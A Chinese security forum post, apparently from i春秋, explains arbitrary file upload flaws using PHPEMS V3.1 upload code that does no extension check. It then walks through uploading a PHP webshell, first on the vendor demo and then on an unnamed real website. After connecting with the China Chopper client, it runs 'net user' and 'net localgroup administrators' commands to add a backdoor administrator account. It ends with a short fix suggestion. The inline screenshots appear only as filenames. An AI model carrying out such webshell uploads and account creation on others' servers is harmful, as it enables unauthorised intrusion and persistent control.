0x01  前言   
     不想说其他的,发这篇文章就是看坏蛋不爽。

0x02  什么是任意文件上传漏洞
   由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许***者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。

0x03  任意文件上传漏洞的危害
      允许用户上传任意文件可能会让***者注入危险内容或恶意代码,并在服务器上运行。

0x04  实战的案例(白盒测试)
PHPEMS V3.1   (喷子喷之前请下载看看,如果有问题,欢迎指点)
    phpems3.1/app/document/api.php

  1. public function uploadfile()
            {
                    $fn = $this->ev->get('CKEditorFuncNum');
                    $upfile = $this->ev->getFile('upload');
                    $path = 'files/attach/files/content/'.date('Ymd').'/';
                    if($upfile)
                    $fileurl = $this->files->uploadFile($upfile,$path,NULL,NULL,$this->allowexts);
                    if($fileurl)
                    {
                            $message = '上传成功!';
                            $args = array();
                            $args['attpath'] = $fileurl;
                            $args['atttitle'] = $upfile['name'];
                            $args['attext'] = $this->files->getFileExtName($upfile['name']);
                            $args['attsize'] = $upfile['size'];
                            $args['attuserid'] = $this->_user['sessionuserid'];
                            $args['attcntype'] = $upfile['type'];
                            $this->attach->addAttach($args);
                            $str = '<script type="text/javascript">window.parent.CKEDITOR.tools.callFunction('.$fn.', \''.WP.'/'.$fileurl.'\', \''.$message.'\');</script>';
                    }
                    else
                    {
                            $message = '上传失败,附件类型不符!';
                            $str = '<script type="text/javascript">window.parent.CKEDITOR.tools.callFunction('.$fn.',false, \''.$message.'\');</script>';
                    }
                    echo $str;
            }
            public function swfupload()
            {
                    $path = 'files/attach/p_w_picpaths/content/'.date('Ymd').'/';
                    $upfile = $this->ev->getFile('Filedata');
                    if($upfile)
                    $fileurl = $this->files->uploadFile($upfile,$path,NULL,NULL,$this->allowexts);
                    if($fileurl)
                    {
                            $args = array();
                            $args['attpath'] = $fileurl;
                            $args['atttitle'] = $upfile['name'];
                            $args['attext'] = $this->files->getFileExtName($upfile['name']);
                            $args['attsize'] = $upfile['size'];
                            $args['attuserid'] = $this->_user['sessionuserid'];
                            $args['attcntype'] = $upfile['type'];
                            $this->attach->addAttach($args);
                            if($this->ev->get('imgwidth') || $this->ev->get('imgheight'))
                            {
                                    if($this->files->thumb($fileurl,$fileurl.'.png',$this->ev->get('imgwidth'),$this->ev->get('imgheight')))
                                    $thumb = $fileurl.'.png';
                                    else
                                    $thumb = $fileurl;
                            }
                            else
                            $thumb = $fileurl;
                            exit(json_encode(array('status' => 'succ','thumb' => $thumb)));
                    }
                    else
                    {
                            exit(json_encode(array('status' => 'fail')));
                    }
            }
    上传的时候,调用uploadfile函数
    public function uploadFile($file,$updir,$**tension = NULL,$name = NULL)
            {
                    if(!$**tension)$**tension = $this->getFileExtName($file['name']);
                    if(!$name)$name = time().rand(1000,9999);
                    if(!file_exists($updir))$this->mdir($updir);
                    $url = $updir.$name.'.'.$**tension;
                    if(file_exists($url))unlink($url);
                    move_uploaded_file( $file['tmp_name'], $url ) ;
                    if (file_exists($url))
                    {
                            $oldumask = umask(0) ;
                            chmod( $url, 0777 ) ;
                            umask( $oldumask ) ;
                    }
                    return $url;
            }

 可以看出来,这里对文章的类型没有做任何判断,直接进行上传,这里拿官方demo测试,随便注册一个账号,到个人信息处,上传头像。修改文件后缀为php


    135453pqcn58azo5w7yn88.jpg 
    


在返回包查看返回的路径


    135454f5r7m8okm4jazkhr.jpg 


    然后我们访问我们的shell


    135458xu952ysyvyw6jrjh.jpg 

    这里推荐下i春秋的任意文件上传的课程,挺不错,还有解析漏洞,有兴趣的可以看一下。

0x05  实战的案例(黑盒测试)
    以某网站为例(猴子又要骂我禽兽了)
    我们先到后台
    
135716us55agfmaazvjgjg.jpg 
  弹出了这个,在这儿选择上传表格,这里没有对文件进行限制, 我们可以上传任意的文件上去,这儿我传了shell
   
    
140725io4d8kukxww3zbn8.png 


    通过菜刀连接我们的***,拿到webshell


    140728rfr7bmp5hr52amp5.png 
    使用菜刀执行命令
   

 net user username password /add     
 <!--创建一个用户-->
    net localgroup administrators username /add    
<!--给这个用户赋予管理员的权限-->


    
    
140730ba6khhvivnazz226.png 


    然后我们连接上服务器,进了服务器可以做多少事,大家心里应该是有数的


    
140731cxup1s9lxxsxri7d.png 

0x06  修复建议
    对上传的文件后缀进行判断,如果是上传头像处,仅允许jpg、png、gif等图片文件格式上传,而且对图片进行二次渲染,防止***利用解析漏洞来getshell。


原文链接:http://bbs.ichunqiu.com/thread-8584-1-1.html